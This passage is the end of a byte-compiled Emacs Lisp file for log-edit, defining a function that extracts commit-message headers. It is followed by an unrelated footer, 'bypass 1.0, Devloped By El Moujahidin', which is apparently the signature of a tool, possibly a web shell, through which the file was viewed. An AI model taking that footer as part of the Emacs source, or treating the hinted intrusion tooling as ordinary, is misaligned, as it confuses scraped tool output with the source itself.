or (HEADER . FUNCTION) associating headers to command line
options and the result is then a list of the form (MSG ARGUMENTS...)
where MSG is the remaining text from COMMENT.
FUNCTION should be a function of one argument that takes the
header value and returns the list of strings to be appended to
ARGUMENTS.  CMDARG will be added to ARGUMENTS followed by the
header value.  If "Summary" is not in HEADERS, then the
"Summary" header is extracted anyway and put back as the first
line of MSG.

(fn HEADERS COMMENT)
(defalias 'log-edit-extract-headers #[514 "\302\303!r\211q\210\304\305\306\307\310\311!\312\"\313\314%DC\216c\210\315 \210e`}\210\316\317\211\317\262\320\321\"\2036\202:\322B\211\203\225\211@eb\210\323\324@\325	R\317\316#\203\216\211A\316=\203_\326\327!\262\202\205\330A!\203sA\326\327!!\244\262\202\205\326\327!B\262\211A\206\201\211@B\262\331\332\316\211#\210\202CA\266\202\202:\210~\210eb\210\333\334!\203\247\306\224\306\225|\210\203\260\335\261\210\336 )B\266\203*\207" [case-fold-search log-edit-header-contents-regexp generate-new-buffer " *temp*" funcall make-byte-code 0 "\301\300!\205	\302\300!\207" vconcat vector [buffer-name kill-buffer] 2 "\n\n(fn)" rfc822-goto-eoh t nil assoc "Summary" ("Summary" . t) re-search-forward "^" ":" match-string 1 functionp replace-match "" looking-at "\\([ 	]*\n\\)+" "\n" buffer-string] 13 (#$ . 31480)])
(provide 'log-edit)

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net